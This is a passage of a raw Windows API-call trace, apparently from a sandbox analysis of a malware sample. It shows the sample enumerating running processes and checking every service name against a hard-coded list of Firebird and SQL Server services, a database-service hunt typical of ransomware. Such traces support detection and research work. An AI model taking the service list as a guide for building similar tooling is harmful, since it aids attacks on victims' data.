cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.400] lstrlenW (lpString="svchost.exe") returned 11 [0156.400] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.400] lstrlenW (lpString="svchost.exe") returned 11 [0156.400] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.401] lstrlenW (lpString="svchost.exe") returned 11 [0156.401] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.401] lstrlenW (lpString="audiodg.exe") returned 11 [0156.401] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.401] lstrlenW (lpString="svchost.exe") returned 11 [0156.401] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.402] lstrlenW (lpString="explorer.exe") returned 12 [0156.402] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.402] lstrlenW (lpString="dwm.exe") returned 7 [0156.402] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.402] lstrlenW (lpString="svchost.exe") returned 11 [0156.402] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0156.403] lstrlenW (lpString="n.exe") returned 5 [0156.403] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.403] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.403] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.403] lstrlenW (lpString="svchost.exe") returned 11 [0156.403] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0156.404] lstrlenW (lpString="taskhost.exe") returned 12 [0156.404] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0156.404] lstrlenW (lpString="reader_sl.exe") returned 13 [0156.404] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0156.404] lstrlenW (lpString="rundll32.exe") returned 12 [0156.404] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0156.405] lstrlenW (lpString="n.exe") returned 5 [0156.405] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0156.405] lstrlenW (lpString="consent.exe") returned 11 [0156.405] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0156.405] lstrlenW (lpString="dllhost.exe") returned 11 [0156.406] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0156.406] CloseHandle (hObject=0x338) returned 1 [0156.406] Sleep (dwMilliseconds=0x1f4) [0156.973] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0156.973] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0156.974] GetLastError () returned 0xea [0156.974] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x43461b8 [0156.974] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43461b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43461b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0156.974] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0156.975] lstrlenW (lpString="Appinfo") returned 7 [0156.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.975] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.975] lstrlenW (lpString="AudioSrv") returned 8 [0156.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0156.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0156.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0156.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0156.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0156.975] lstrlenW (lpString="BFE") returned 3 [0156.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.975] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.975] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.975] lstrlenW (lpString="CryptSvc") returned 8 [0156.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.976] lstrlenW (lpString="CscService") returned 10 [0156.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0156.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0156.976] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0156.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0156.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0156.976] lstrlenW (lpString="DcomLaunch") returned 10 [0156.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.976] lstrlenW (lpString="Dhcp") returned 4 [0156.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.976] lstrlenW (lpString="Dnscache") returned 8 [0156.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.976] lstrlenW (lpString="DPS") returned 3 [0156.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.976] lstrlenW (lpString="eventlog") returned 8 [0156.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0156.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0156.977] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0156.977] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0156.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0156.977] lstrlenW (lpString="EventSystem") returned 11 [0156.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.977] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.977] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.977] lstrlenW (lpString="gpsvc") returned 5 [0156.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.977] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.977] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.977] lstrlenW (lpString="iphlpsvc") returned 8 [0156.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.977] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.977] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.977] lstrlenW (lpString="LanmanServer") returned 12 [0156.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.977] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.978] lstrlenW (lpString="lmhosts") returned 7 [0156.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.978] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.978] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.978] lstrlenW (lpString="MMCSS") returned 5 [0156.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0156.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0156.978] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0156.978] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0156.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0156.978] lstrlenW (lpString="MpsSvc") returned 6 [0156.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.978] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.978] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.978] lstrlenW (lpString="Netman") returned 6 [0156.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0156.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0156.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0156.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0156.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0156.978] lstrlenW (lpString="netprofm") returned 8 [0156.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.979] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.979] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.979] lstrlenW (lpString="NlaSvc") returned 6 [0156.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.979] lstrlenW (lpString="nsi") returned 3 [0156.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.979] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.979] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.979] lstrlenW (lpString="PcaSvc") returned 6 [0156.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.979] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.979] lstrlenW (lpString="PlugPlay") returned 8 [0156.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.979] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.979] lstrlenW (lpString="Power") returned 5 [0156.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.980] lstrlenW (lpString="ProfSvc") returned 7 [0156.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.980] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.980] lstrlenW (lpString="RpcSs") returned 5 [0156.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.980] lstrlenW (lpString="SamSs") returned 5 [0156.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.980] lstrlenW (lpString="Schedule") returned 8 [0156.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.981] lstrlenW (lpString="SENS") returned 4 [0156.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.981] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.981] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.981] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.981] lstrlenW (lpString="Spooler") returned 7 [0156.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.981] lstrlenW (lpString="SysMain") returned 7 [0156.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.981] lstrlenW (lpString="Themes") returned 6 [0156.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0156.981] lstrlenW (lpString="TrkWks") returned 6 [0156.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0156.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0156.982] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0156.982] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0156.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0156.982] lstrlenW (lpString="UxSms") returned 5 [0156.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0156.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0156.982] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0156.982] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0156.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0156.982] lstrlenW (lpString="WdiServiceHost") returned 14 [0156.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0156.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0156.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0156.982] lstrlenW (lpString="WdiSystemHost") returned 13 [0156.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0156.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0156.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0156.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0156.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0156.982] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0156.982] lstrcmpiW 